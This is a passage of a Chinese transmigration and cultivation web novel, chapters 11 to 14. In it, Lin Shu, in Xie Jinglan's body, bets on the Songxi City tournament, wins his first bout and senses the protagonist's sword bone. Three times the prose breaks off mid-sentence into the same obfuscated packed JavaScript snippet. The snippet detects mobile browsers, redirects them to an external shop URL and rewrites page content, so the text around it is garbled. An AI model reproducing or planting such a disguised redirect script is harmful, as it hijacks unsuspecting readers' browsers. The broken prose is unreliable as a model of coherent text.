刚进门,嘈杂的声音便迎面袭来。 屋内光线昏暗,放眼望去是人群围拢聚集的一张张赌台,骰子在盅体内快速晃动、赌徒们叫喊着大小点数、胜了的激动得手舞足蹈、输了的哀叹哭嚎,满室嘈杂。 情绪在光线微暗的空间内发酵,墙体四周嵌着夜明珠,不知疲倦地散发出恰到好处的幽暗光芒,令人分不清白天黑夜。 林枢饶有意思地停在一张赌台前看了看,作为一个资深宅男兼社会主义好青年,他还是第一次进赌坊。 【宿主,赌.博会上瘾的。】 系统冒出来提醒。 林枢摇着折扇。 —你们穿书局管天管地还管宿主赌不赌钱? 【数据显示,沦为赌徒的宿主顺利完成任务的概率不高于百分之三。】 说来说去还是为了任务。 林枢一笑。 —放心吧,我可没说要赌钱。 11. 第 11 章 林枢收起折扇,径直穿过嘈杂的前厅,走过几张赌台后,周遭的吵闹声突然变小了。 一扇屏风出现在眼前,将大堂分隔成前后两个空间。 越靠近屏风,周遭的吵闹声就越小,屏风上流淌着淡淡的灵蕴,显然是一件能够降低噪音的法器,其上漂浮着几个泛着金光的字——“松溪城大比押注”。 林枢勾唇一笑,他就知道赌坊不可能不蹭松溪城大比这个热点,手中折扇唰地打开,施施然绕过屏风走入里间。 与外间那种恨不得闹翻天的杂乱不同,隔间内虽然也吵,但却显得斯文很多,一圈又一圈的人围坐着,讨论着能拿大比第一的几个热门人选。 林枢走近下注的柜台,只见柜台后方是一块灵璧,灵璧上浮动着大大小小数十个可下注的人名,在名字的右下角则标注着对应的赔率。 灵璧最上方那行是有可能拿第一的人选,几个人名一字排开,基本都是连、江、霍、陈四大世家的人,在一连串四大世家的人名最后,缀着一个另类的名字——“谢家少城主”。 林枢挑眉,心想谢景阑还真是够神秘的,不出门不说,连名字都没向外透露过。 他正注意着谢家少城主这几个字,站在他旁边的一名男子也注意到了,大喇喇地问柜台后的庄家:“城主府的这个少城主今年当真要参加大比?怎的连个名字都不知道?” 庄家是个留着两撇小胡子的中年男子,笑起来时小眼睛眯成一条缝,答道: “本坊既将谢少城主的名字列出,自是有靠谱消息确信他会参加此次大比,道友不必担心。” 男子嗤了一声:“有靠谱消息怎的连个名字都不曾打探到?就怕有消息是假,诳人下注才是真,若谢家少城主未参加大比,这些下注的钱岂不是白白进了你们的口袋?” 庄家依旧在笑,眼中却露出精光:“道友慎言,本坊便是有这心也无这胆,主家素来规矩严,不会纵容此等自砸招牌之举。” 男子不屑地问:“你主家是谁?” 庄家还未说话,旁边便有一人对那男子道:“你是头次来这吧?听来赌坊可是听雪楼开的,在松溪城都开好几年了。” 另有几人纷纷附和。 男子登时静了静,诧异道:“听雪楼?南洲听雪楼?” “难道修真界还有第二个听雪楼不成?”庄家笑眯眯地说。 男子一听这话,周身那股子不屑的气焰仿佛被冷水兜头一浇,消散得一干二净。 林枢也略感意外地轻轻挑了下眉。 没想到他随便进了家赌坊会是听雪楼名下的,不过联系原文中对听雪楼的介绍,倒也不奇怪。 四神二宗一楼,原著中修真界最顶级的七大宗门,也是自皇朝覆灭以来如今修真界五洲的统辖宗门,其中的“一楼”指的便是听雪楼。 在四神二宗一楼这顶级的七大宗门中,听雪楼算是最特殊的一个。 听雪楼原本也是门派名中可用“神”字的门派,是有着真神传承的上古宗门,但因为听雪楼的真神传承是情神留下的情修传承,而情修一道易生心魔,所以听雪楼的弟子大都不走情修一道,而是五花八门修各种道的都有,听雪楼自持不以情神传承立派,也就不带“神”字。 因为弟子们修的道太杂,所以听雪楼的战力在七大宗门中算是最弱的,但修真界却没有人敢因此小瞧听雪楼,甚至有人说,宁可得罪战力最强的太初剑宗,也不能得罪听雪楼。 之所以有这种说法,一是因为听雪楼与九韶神宫世代交好,两大上古门派联合,就算是太初剑宗也得避其锋芒; 二是因为听雪楼的生意开遍整个修真界,凡是能赚钱的行当听雪楼皆有涉足,可以说,只要在修真界行走,就避不开与听雪楼打交道。 得罪太初剑宗顶多被人追杀,但太初剑宗一个上古大宗,总不可能大张旗鼓地满修真界追杀你,修真界之大,总有容身之处。 但要是得罪了听雪楼,一道禁令下去,往后听雪楼名下的所有产业都不做你的生意。 不说别的,如今修真界长途出行所需乘坐的灵舟十之八九出自听雪楼,光是坐不了灵舟这一项,就足以让人寸步难行。 听雪楼既然以做生意闻名,在松溪城有产业也不奇怪。 方才出声质疑的男子听到听雪楼的名号,立马拱手道歉:“在下愚钝,不知此处原是听雪楼开设的赌坊,方才多有得罪,还望庄家莫要怪罪。” 庄家大方一笑:“谢少城主向来神秘,道友有所担忧也属正常。” 男子的态度与刚才来了个一百八十度大转变,语气谨慎又小心。 “谢家少城主这么多年来从未公开露过面,若不是谢城主曾明确提过他有一个儿子,众人只怕都不知道城主府还有一位少城主,这少城主如今既然要参加松溪城大比,实力想必不俗?” 庄家抚了抚胡须,笑眯眯地摇头:“谢少城主未曾在人前出过手,自然也无从得知其实力。” 男子没能试探到消息,顿时有些遗憾,看着最上方的几个人名,有些举棋不定,不知道该押哪一个。 押热门人选固然安全,但越热门也就意味着赔率越低,最后就算赢了,赢到手的钱也有限。 跟其他名声在外的四大世家的人比起来,谢少城主名声不显,看好他拿第一的人很少,赔率也是这些人里最高的。 到底要不要赌一把,男子正纠结着,突然听到身旁传来一道清越的声音。 “五百极品灵石,押谢少城主拿第一。” 这话一出,整个押注场都静了一静。 男子亦是震惊,连忙看向声音传来的方向,只见一个身穿玄色锦衣的俊逸少年郎嘴角带笑,抬手拂过腰间储物袋,灵力流动,柜台上顿时多出一堆闪瞎人眼的极品灵石。 平日里一颗都难得一见的极品灵石,这少年竟然一出手就是五百颗,还全押在了一位不知修为几何的谢少城主身上,一时间众人的目光纷纷都朝少年看去,眼中就差写上“胡闹”和“败家”了。 林枢看着庄家诧异的目光,眉峰一挑:“不行吗?” 庄家立马反应过来,嘴角笑容比对刚才的男子真切多了,看林枢仿佛在看一位散财童子,忙道:“自然可以,还请小友稍等片刻,待我等清点完灵石便替小友登记。” 林枢嘴角一勾:“我还要再押两千上品灵石,一块儿点吧。” 说着又拿出了两千上品灵石。 庄家问道:“不知这两千上品灵石是押谁?” 林枢轻笑,说出一个让在场众人都惊掉下巴的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070753|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字。 “连忘川,我押他拿第二。” “连忘川?我没听错吧?连家那个断了经脉的废物?” “松溪城哪儿还有第二个连忘川,定然是那废物!” “一个废物还能拿第二?倒数第二还差不多!” “哎,小子!你是哪家的?灵石多得没处花是吧?将两千上品灵石押在连忘川那个废物身上,还不如直接将灵石扔了来得爽快,扔了好歹还能听个响儿,诸位说是不是?” 众人纷纷附和。 在一片奚落声中,林枢神情不变,待周围人的讨论声稍微降低之后,他才略显腼腆地笑了笑,语气真挚:“诸位道友若是想赚钱,可以同我押一样的。” 众人都是一脸“谁要跟你押一样”的表情。 林枢摊手,摇头叹息:“看来这钱是只能我挣了。” 听到这话,其他人看他的眼神仿佛在看一个傻子。 林枢对这些人的眼神视若无睹,乐滋滋地对谢景阑说:“大佬,幸好你以前足够低调,不然咱们今天可就没有这种赚大钱的机会了。” 谢景阑对林枢一下拿出五百极品灵石的败家行为丝毫不放在心上,听到这话也只是轻声一笑:“你且拿了第一再说。” 林枢很是自信:“放心吧,就算看在灵石的份上,这第一我也拿定了。” 他并不是在说大话,而是倚仗谢景阑这具身体淬凡境四阶的实力。 原文中提到过,这场大比里修为最高的就是淬凡境四阶的谢景阑,四大世家那些夺冠的热门天才还都只有淬凡境三阶的修为。 别看四阶和三阶之间只相差一阶,这一阶的修为差距,在实力上可是难以跨越的鸿沟。 不是人人都是主角,能够越阶打败对手。 就算是主角,在原文里越两阶打败一个淬凡境三阶的修士也已经是极限了,灵力耗尽直接昏睡了两天才醒,对上淬凡境四阶的谢景阑也还是没有一战之力。 基于这些判断,林枢才敢直接押五百极品灵石。 庄家清点完灵石,拿出两张灵契给林枢,这两张灵契就是押注的凭证,待大比结束,若是林枢赌对了,便可凭借这两张灵契过来兑换赢得的灵石。 所谓灵契,就跟合同差不多,但修真界签合同并不靠签字画押那一套,而是直接录入灵力,每个人的灵力气息都是独一无二的,做不得假,用来签订灵契最合适不过。 林枢看过这两张灵契,满意地收入储物袋。 从赌坊出来,街上依旧游人如织,系统提醒道: 【宿主,既然已经下完注了,现在时间不早,你该回去了。】 林枢很是不能理解。 —我什么时候回家你也要管?我爸妈都没这么管过我。 【宿主,为了确保明天能以最好的面貌迎接松溪城大比,你今晚最好早点睡。】 【明天主角就从秘境出来了,你之前不是说要给他留下一个好印象吗?】 林枢沉吟,做霸道总裁状,油腻地摸了摸下颌角。 —谢景阑这张脸,就算颓废阴郁也别有一番风味,给人的印象不会差的。 系统忍了忍。 【宿主,系统不是在说你的样貌,而是提醒你要养足精神应对明天的大比!】 12. 第 12 章 林枢啧了一声,语气悠哉:“你看你,又急,有什么好急的?我又没说我不回去……” 话没说完,街口另一头突然传来一声高亢的马鸣声,一匹枣红色大马周身裹挟着四溢的灵威,发疯一般疾驰冲入街道。 提着马鞭的马夫紧追在马身后,眼见这匹马冲进人群熙攘的街道,焦急地大喊:“快让开!快让开!灵马失控了!” 原本热闹悠闲的街道顿时乱成了一锅粥,人群尖叫着四处逃散。 林枢一眼就看出那匹失控的灵马是淬凡境一阶修为,境界虽然不高,但灵兽光凭蛮力就能压人族一头,这么发疯一般急冲过来,一时之间人群中无人上前阻拦,只顾着躲避。 街边的摊位被马疾驰时带起的灵威刮翻,有人躲闪不及,被一同掀倒在地。 疯马的速度丝毫不减,依旧不管不顾地往前冲,而在它前方不远处,一个约摸五六岁的幼童正专心致志地咬着手里的糖葫芦,丝毫没有意识到危险的临近。 林枢眉峰皱了下,周身灵力正要动,下一秒就见幼童旁边的酒楼中突然跃下一道鸦青色的身影,在千钧一发之际,以极快的速度一手捞起幼童,另一手朝疾驰而来的疯马打出一掌。 凌厉的掌风带着浑厚的灵力,直直打在疯马身上,那马嘶鸣一声,被强劲的掌风硬生生阻住去路,前蹄高高扬起,重心不稳,翻倒在地。 追马的马夫冲上来,急忙甩出几道灵索,将马死死捆住。 “那人是谁?”林枢看着那道救人的身影,问系统道。 【霍家霍明屿。】 “霍明屿?”林枢重复着这个名字,突然笑了下,“还挺巧。” 之所以说巧,是因为霍明屿这个名字他刚才还在赌坊里见过,正是被众人认为有可能拿松溪城大比第一的人选之一。 而且霍明屿还是所有人里下注人数最多的,换句话说,是目前最被看好能拿大比第一的人。 从霍明屿刚才那一掌所展露出的灵力气息来看,他已经是淬凡境三阶后期的修为,被人看好也不奇怪。 但可惜的是,这人是主角修复经脉后第一个打脸的炮灰。 原文里连忘川在松溪城大比上越两阶打败的对象,就是这个霍明屿。 至于为什么是他,林枢眼底轻轻划过一丝讽笑,抬眸朝前方人群焦点处看去。 一掌拦住疯马救下小孩后,霍明屿便被人群团团围住,有不少人认出了他的身份,纷纷赞叹其侠肝义胆、少年英才,夸赞的话不要钱般往他身上砸。 马夫更是对其千恩万谢,幸而霍明屿及时出手,才没让这马酿出更大的祸事。 小孩的母亲事发时正在旁边的布摊买布,回头看到失控的灵马朝儿子冲去时大脑一阵空白,直到儿子被救下才终于反应过来,她脸色煞白地冲过来,抱住哭嚎不止的孩子,连连朝霍明屿下跪道谢。 霍明屿不动声色地让开一步,刚毅俊朗的脸上没有半点表情,语气硬邦邦的。 “要谢便谢我表妹,是她让我救人。” 他说着抬头望向身后的酒楼,众人的目光也跟着一同看向二楼。 只见酒楼二楼临窗站着一位白衣少女,面对众人看过来的目光,她有些无奈地看了霍明屿一眼,直接关上了窗。 霍明屿没有理会周遭众人,抬步回到酒楼。 那白衣少女林枢前不久见过,正是与连忘川退婚的江锦月。 林枢收回目光,一边琢磨着原文剧情,一边慢悠悠地往城主府的方向走。 主角修复经脉后打脸的第一个对象,肯定要让在前面情节憋屈的主角解一解气,并且要解两方面的气。 一是经脉俱断,被嘲讽为废物的气;二是被未婚妻退婚的气。 而霍明屿这个角色,恰好能同时满足这两方面的需求。 首先,霍明屿的实力很强,在连忘川经脉未断时,二人经常被拿来做对比,甚至一度被称为松溪城双骄。 连忘川经脉被废后遭受了无数白眼,但从前时常与他对比的霍明屿却依旧是高高在上的天才,甚至因为连忘川的跌落更加受到追捧。 譬如众人在吃连忘川这个瓜时还不忘提一嘴“我看霍明屿才是实打实的天才”之类的话,多少有些踩连忘川捧霍明屿的意味。 这种效果虽说跟霍明屿本人没多大关系,但他因连忘川经脉俱断而名声更盛也是事实。 所以原文中连忘川一朝修复经脉,就在松溪城大比的众目睽睽之下打败了霍明屿,狠狠出了一口这段时间以来被嘲讽为废物的气。 其次就是霍明屿与江锦月的关系有些特殊。 这二人是表兄妹,江锦月的母亲是如今霍家家主的亲妹妹,江锦月去天衍神宫修炼前时常跟着母亲去外祖家走动,一来二去便与霍明屿这个表兄熟悉了,二人的感情一直不错。 江锦月与连忘川退婚后,一度传出江家要与霍家亲上加亲的说法,结亲对象自然就是江锦月与霍明屿。 因此连忘川打败霍明屿,除了彰显实力外,还附加打脸情敌和讽刺前未婚妻的效果,向江锦月表示出——你抛弃我后选择的男人如今被我狠狠踩在脚下,是不是很后悔? 林枢回忆完这段情节,好奇问道:“系统,霍明屿和江锦月真打算定亲?” 【宿主问这个做什么?】 “好奇么,八卦是人类的天性,你一个统是不会懂的。”林枢说。 【宿主,这与任务无关,不论是霍明屿还是江锦月,都只是主角成长初期遇到的小配角,不值得宿主放在心上。】 “你这么严肃干什么?说了只是聊聊八卦,”林枢丝毫不受影响,摸了摸下巴,“依我看,霍明屿和江锦月不适合在一起。” 系统沉默了两秒,还是配合地问道: 【为什么?】 “他俩是表兄妹啊,近亲结婚不可取,”林枢语气惊讶,“不是吧?你连这都不知道?你这系统和谐吗?” 【……宿主说得对。】 林枢轻声勾了下嘴角。 . 天狩五十三年八月十五,松溪城大比如期开展。 依照自北洲皇朝时期延续下来的传统,松溪城大比由城主府主办,不过如今城主府的权力不如当年,所以四大世家也会协理。 林枢起了个大早,跟随谢绍风一同前往大比现场。 大比在松溪城的演武场举行,林枢到的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070754|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候演武场内已经搭建起了一个个擂台,场地很大,一眼看去全是整齐排列的擂台。 在整个演武场的正前方修筑着一个气势恢宏的看台,林枢坐着谢家的马车,跟在谢绍风的马车后,两辆华贵的车架穿过演武场上熙攘的人群,一直到看台前才停下。 林枢从车上下来,跟随谢绍风一同走上看台,上来之后,就见看台中央摆着五套桌椅,桌子上既有茶水,又摆着各色灵果佳肴。 林枢不由在心里轻轻啧了一声,心想这些人还真会享受。 坐在这上面风吹不着雨淋不着,视野开阔,可以将整个演武场纳入眼底,在看比试的同时还能吃点东西。 不用猜也知道,这五把椅子肯定是给谢家与四大世家的当家人坐的。 此时五把椅子只剩最中间那把尚空着,此次大比毕竟是由城主府主办,最中间的这个座位自然该由谢绍风坐。 果不其然,谢绍风带着林枢走过去,在中间坐下。 林枢的出现很是吸引了不少视线,除了看台上的这些人在打量他外,下方演武场上的人也都在朝他看。 实在是从前的谢景阑太过神秘,众人都只听说过谢绍风有个儿子,却从未见过,今天终于见到了人,打量的视线便不住地往林枢身上扫。 一边打量一边忍不住在心里嘀咕。 这谢少城主看着不像是有什么隐疾在身以至于不方便露面的样子啊。 少年身姿挺拔,长相俊逸,安静站在谢城主身后,眼眸清明,神色稳重,一看便觉风姿不凡……那怎么这么多年都不曾在外走动呢?又不是见不得人。 林枢没在意别人心里想什么,他跟在谢绍风身边,听着谢绍风跟四大世家的当家人一来一往地打机锋,有些无聊地在心里问系统。 —连忘川从秘境出来没? 【还没有,宿主不用担心,主角会在大比正式开始前赶到。】 —我没担心,主角哪轮得到我这个反派来担心。 【宿主,你不是反派,你为帮助主角而来,是和主角站在同一阵营的。】 —你意思是我是主角的小弟? 【是小弟还是兄弟,取决于宿主的任务完成情况,只要好感度够高,宿主就不是无足轻重的小弟,而是和主角性命相托的兄弟。】 哇哦,能从小字辈荣升兄字辈呢。 林枢心里阴阳怪气,表情倒没泄露分毫,懒洋洋地回应系统。 —嗯嗯,你说得对。 “这位莫非就是少城主?” 听到有人提到他,林枢看过去。 说话的是一个穿着烟青色长衫的男子,蓄着胡须,长相儒雅,眉眼间与连忘川有些许相似,想来应该就是连家家主,连忘川的叔父。 谢绍风回答:“正是犬子,阑儿,来见过各位叔伯。” 林枢依言上前,在谢绍风的指示下将四大世家的家主们认了一遍。 除了连家家主外,还有江、陈、霍三家的家主,四人身后都各自跟着自家要参加大比的后辈。 与谢家不同,四大世家人丁兴旺,每家参加大比的年轻小辈都有好几个,林枢一眼扫过去,只认出他此前见过的江锦月和霍明屿。 13. 第 13 章 太阳升起,朝阳洒落地面,在演武场上投下金色的光,辰时三刻,来参加比试的人也都差不多到齐了。 谢绍风起身走到看台最前方,开始向众人介绍大比的规则,林林总总说了不少注意事项,林枢捡着重要的听了。 简单来说,这次大比是两人一组进行擂台赛,在比试中,只要有一方开口认输、倒地不起、又或是掉下擂台,都视作输。 大比原则上要求点到为止,不可伤人性命,但打斗间难免出现意外,所以谢绍风特意提醒不敌者要及时认输,不可逞强。 往届都出现过坚持不认输以至于受伤过重不治身亡的情况,而一旦有人开口认输,另一方便不可再出手,违者直接取消大比资格。 说完规则,谢绍风又介绍了一下这次大比的奖励,前十名都有奖励,名次越靠前奖励便越丰厚。 一样接着一样奖品被念出来,掀起了一番热潮。 参加大比的人中散修人数是最多的,对于修炼资源紧张的散修们来说,前十的这些奖励每一样都无比珍贵。 而对于四大世家和谢家来说,奖励是其次,最重要的是拿个好名次,为家族争光。 说完大比的一干事项后,谢绍风宣布大比正式开始。 参与比试的人需要依次排队报名,并抽取第一轮比试的对手。 “父亲,孩儿去抽签了。”林枢对谢绍风道。 谢绍风点点头,叮嘱道:“认真应对即可,旁的无需多想。” 林枢点头应下。 松溪城虽然只是北洲的一个中小城池,但人口却不在少数,参加大比的人也很多,光是报名与抽签就花费了不少时间。 身为主办之一,城主府还是有点特权的,林枢用不着现场报名,谢绍风早已安排人将他的名字报了上去,他只需要抽签即可,因此省了不少事。 抽完签林枢便前往自己比试的擂台,他到的时候擂台上没人,他的对手还没过来。 等待期间,林枢神情平静地站在擂台上,他一身玄色劲装,紧束的腰带勾勒出一截窄瘦有力的腰身,身型挺拔修长,手中抱剑,如一棵挺拔的松,周身气场凌厉,又好似一把未出鞘的剑。 大抵是因为谢景阑太过神秘,他所在的擂台周围不知不觉站满了围观群众,都想看一看这位神秘少城主的实力。 台下众人一边打量着台上的林枢,一边暗戳戳地小声与周遭人讨论。 “此人便是谢少城主?” “方才见他与谢城主一同入场,必然是少城主无疑。” “不知少城主如今修为几何,与四大世家的那些人比起来孰强孰弱?连着四届大比第一都出自四大世家,难得这一回有城主府下场,也不知能否将此记录打破。” “依我看难,霍家霍明屿的修为已是淬凡境三阶后期,听说少城主如今不过十五岁,再如何天才,修为也不可能超过淬凡境三阶,定然不敌霍明屿。” “十五岁?少城主竟然如此年轻?” “可说呢,看看,少城主在台上等了这么久,脸上却没有丝毫不耐,若换了那几个世家子弟,只怕早就要发脾气了,小小年纪行事便如此沉稳,想来心性定然不错。” 众人望向台上挺拔如松的少年,认同地点头。 “单看少城主的模样便知品性差不了。”一个女修小声说道。 她身旁的女伴深以为然:“就是如此!” …… 众人虽压低了声音,但淬凡境四阶的修为听力极好,底下人的窃窃私语还是一字不落地入了林枢的耳。 行事沉稳且心性不错的林枢乐滋滋地骚扰真正的谢少城主。 “少城主,我这逼装得怎么样?没败坏你名声吧?” 谢景阑微顿:“……装逼?” “嗯哼,”林枢的语气飞扬,“人狠话不多的高冷剑客,这人设听着不错吧?我打算给你打造成这样,根据我多年看剧看小说的经验,这类角色的人气往往都是最高的。” “你别看我现在好像没做什么,光傻逼似的抱着把剑站在台上给人当猴看,实际上从站姿到表情都是我参考各大仙侠武侠剧的高冷剑客形象精心设计的,听到下面这些人说的话没?效果拔群。” 谢景阑原本没觉得林枢的举动有何不对,听完林枢巴拉巴拉讲的这一大堆,明白了林枢说的“装逼”是什么意思,他突然轻声笑了一下。 林枢这个穿书者倒是很有意思。 他这么想着,便也这么说了,带着轻微笑意的话语不紧不慢:“你很有意思。” 林枢坦然接受夸奖:“谢谢,我也这么觉得,你是除了我自己之外第一个发现我的幽默的人。” “哦?”谢景阑想起他那套担心克死别人的理论,“你不曾对别人说过这类话?” “也不是完全没说过,”林枢说,“我以前没少跟人在网上聊天,但隔着网线总还是差点意思……” 没等林枢细说,底下人群骚动,一道矫健的身影拿着刀跃上了擂台。 林枢的对手终于到了。 来人穿着一身短打,肌肉虬结的胳膊裸露在外,长相粗犷,浓眉大眼,手持一把挂着圆环的大刀,一双虎眸锐利地看着林枢。 上台后这人抬手做了个手势,大刀上的圆环晃动,叮当作响。 “在下袁大千,请阁下指教。” 林枢淡淡看过去,惜字如金。 “谢景阑,请。” 势要将装逼进行到底! 这高傲淡然的姿态立马在台下围观的人群中掀起了一番热潮,叽叽喳喳的讨论声中夹杂着几声女子缴着帕子的惊叹。 袁大千的表情一秒变得冷漠,他面无表情地收起手势,面无表情地看了林枢一眼,又面无表情地从鼻间哼出一声。 裁判走上前,验明双方抽到的擂台号后便宣布比试开始。 话音刚落,袁大千便一声大喝,提着大刀朝林枢砍来。 刀锋上泛出摄目的灵光,裹挟着破空的力道,势如千钧。 袁大千这山一般的大体格子十分唬人,与他对比,林枢像是一根柔弱的韧竹。 一时间众人的心都跟着提起,这一刀若是砍下去,少城主恐怕接不住。 但林枢只是轻轻抬眼,周身灵力运转,众人甚至未看清他是如何动的,只感受到一阵淬凡境四阶的灵力气息,再看时,就见林枢手中的剑轻而易举地挡住这阵仗惊人的一刀,剑鞘上灵力流动,淬凡境四阶的气息便是从这里散发出的。 挡住刀势的那把剑甚至未出鞘! 台下顿时一片哗然。 淬凡境四阶?!十五岁的淬凡境四阶?! 袁大千的脸色也是一变,他是淬凡境二阶后期的修为,也是上等的资质,但感受到从眼前少年身上散发出的高出他两个境界的灵压,他才明白什么叫人外有人。 他的刀明明离少年的脸那么近,却被精致繁复的剑鞘抵住,再不能寸进。 林枢轻轻抬眼,语气平静。 “你不是我的对手,认输吧。” —好装!这个逼我给满分,系统你觉得呢? 林枢雀跃地在心里问。 【……】 【宿主,不要玩太过,今天还有任务。】 林枢顿时有些腻味,还没发作,突然听到魂役另一边传来谢景阑略带笑意的声音。 “嗯……满分。” 林枢微讶,心情立即阴转晴。 袁大千脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070755|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色难看,却不可否认林枢说的是事实。 他用尽全力的一刀,甚至没能让对方拔剑。 沉默片刻后,他的手垂下,大刀刀尖砸在地面,发出一声刺耳的响声。 “我认输……” 火速搞定完第一场比试,林枢没管周围人热切又震惊的眼神,一副神秘淡然的做派,维持他高冷剑客的形象,面无表情地走下擂台。 距离下一场比试开始还有一个时辰。 —行了,忙正事,连忘川来了没? 系统很是欣慰。 【主角刚抽完签,在28号擂台。】 林枢顺着擂台号找过去,发现主角这边围观的人比他那边多得多,人群里三圈外三圈地将擂台层层围住,擂台周围被挤得密不透风。 —啧,连忘川这个松溪城的老牌名人阵仗还是不一样啊。 【这些人都是来看主角笑话的。】 —那怎么了?黑红也是红啊。 系统纠结了片刻。 【……宿主,这个形容对吗?】 —不对吗? 【……】 林枢勾了下嘴角。 走到跟前,周围人的讨论声也大了起来。 “这连家大少爷不是经脉都断了吗?怎么还会来参加大比?” “谁知道呢?莫不是受了刺激,失心疯了?” “连家就许他这么胡闹?若是输得太难看,可就将连家的脸丢尽了!” “听说这连忘川失踪了一个月,谁也不知他去了哪里,早先连家还派人出去找呢,一直未找到,谁成想他今日突然出现在这里,还上了大比擂台。” “咦?我怎么瞧着这大少爷不似之前那般病殃殃呢?难道经脉修复了?” 立马就有人轻嗤。 “经脉断了岂是那么容易修复的?” 林枢也看向擂台上的连忘川。 此时的连忘川已经拿到了道神传承,修复了经脉不说,修为也应当恢复到了淬凡境一阶。 他现在的状态看着确实比之前好多了,脸色不再白得像纸,身上也不再裹着厚重的大髦,褪去了病气,那张英气的脸总算恢复了本该有的风采。 但眼神却依旧令人不舒服。 林枢看着连忘川的眼睛,那双眸子不再似之前那般阴翳,却黑沉沉的,像是一团墨,又像是深不见底的深渊,藏着令人心惊的寒芒。 只怕那些曾经萦绕在连忘川身上的阴翳并没有随着经脉的修复而消失,而是深深烙印进了心底最深处。 林枢的眉峰轻轻挑动了一下。 天道之子啊…… 擂台上,裁判正在劝说连忘川不要冲动参加大比,劝说无果后,他摇摇头叹了口气,宣布比试开始。 连忘川的对手是一个瘦得像猴的男子,在裁判说完比试开始后,瘦猴并没有直接发动攻击,而是朝连忘川嚣张地抬了抬下巴。 “我不打废物,连大少爷,您还是自己认输吧,万一伤着哪儿了我可担待不起。” 连忘川的眼神沉沉地锁定在对方身上,嘴角勾起一个阴冷的笑。 “废话……同我的剑说去吧。” 话音未落,连忘川转瞬便到了瘦猴眼前,手中灵光一闪,一把漆黑的长剑出现在他手里,直接朝瘦猴攻来。 那把长剑朴实无华,没有半点花纹,最显眼的便是其上嵌着一截雪白的脊骨。 灵力气息溢散开来,周围人大惊,都在诧异连忘川竟然能使出灵力,经脉竟真的修复了? 林枢却在连忘川拿出剑时脸色一变。 看到剑身上镶嵌的那块骨头的那一刻,他整个人像是被定在原地,心跳瞬间失控,胸腔内的心脏仿佛恨不得跳出来。 14.第 14 章 —怎么回事? 林枢的脸色无比难看,他抬手捂着胸口,感觉全身的血液都在沸腾。 【宿主不用担心,这是剑心与剑骨之间的感应。】 【原文中谢景阑就是因为感应到了连忘川的剑骨才起了杀人夺宝之心。】 【宿主请深呼吸,缓一缓就好。】 林枢的眉峰紧皱,按照系统说的控制呼吸。 足足过了半盏茶的时间,身体上那种失控的感觉才终于不甘不愿地褪去。 林枢的手还按在心口,感受到心跳总算一点点缓和下来后,他长吐出一口气。 就这么短短的时间里,他浑身已经被冷汗浸湿了。 周遭传来惊呼声,林枢抬眸。 擂台上,连忘川的剑抵在瘦猴的脖子上,只消再往前一寸便可割破对方的喉咙。 胜负已分。 林枢的目光再度从连忘川剑身的那根骨头上扫过,雪白的剑骨在灵力运转间仿佛也在散发出荧荧白光。 用骨头炼剑,在修真界不算稀奇,历来都不乏用灵兽的骨头用作炼器材料的炼器师,所以连忘川手中这把剑虽然看着造型奇怪,却没有人去注意上面嵌着的那块骨头。 只有林枢知道,那不是什么灵兽的骨头,而是人骨,而且是极为罕见的剑骨。 眉心轻轻蹙了蹙,林枢转身离开。 【宿主,你要去哪里?不与主角结交吗?】 系统出声问。 —找个地方洗澡,浑身都是汗,难受死了。 林枢的语调有些懒洋洋的,顿了一秒,又道: —现在还不急着跟主角相认,这才第一轮比试,算不了什么,至少等决出前十了再跟主角见面,有实力才能让主角高看一眼,你说呢? 系统被说服。 【宿主心中有数就好。】 林枢在附近找了家客栈,开了间上房,让小二打水上来。 舒舒服服地泡进浴桶之后,他放松地叹出口气。 “总算舒服了,系统,帮我记着时间,在下一轮比试开始前十五分钟叫醒我,我泡一会儿。” 【好的宿主。】 林枢靠着浴桶边缘,闭上了眼睛,热气升腾,模糊了他的面容。 舒适温热的水流包裹,无声地将因为剑骨而沸腾的血液一点点安抚。 原文里谢景阑是因为剑心与剑骨之间这种特殊感应才出手抢夺剑骨的吗? 时间一点点流逝,林枢没等系统提醒便睁开了眼睛。 “离第二轮比试开始还有多久?” 【还有20分钟,宿主还可以再泡五分钟。】 系统回答。 “不泡了,”林枢起身,拿过一旁的浴巾擦干身上的水,“水都不热了,算了。” 将浴巾围在胯间打了个结,林枢低头,按了按腰上的腹肌,突然嘴角一勾。 “谢景阑的身材还挺不错,宽肩窄腰倒三角,不脱衣服都看不出来他肌肉这么漂亮,那句话怎么说来着?穿衣显瘦脱衣有肉。” 系统差点没跟上他这跳跃的话题。 【……宿主,你之前没发现吗?】 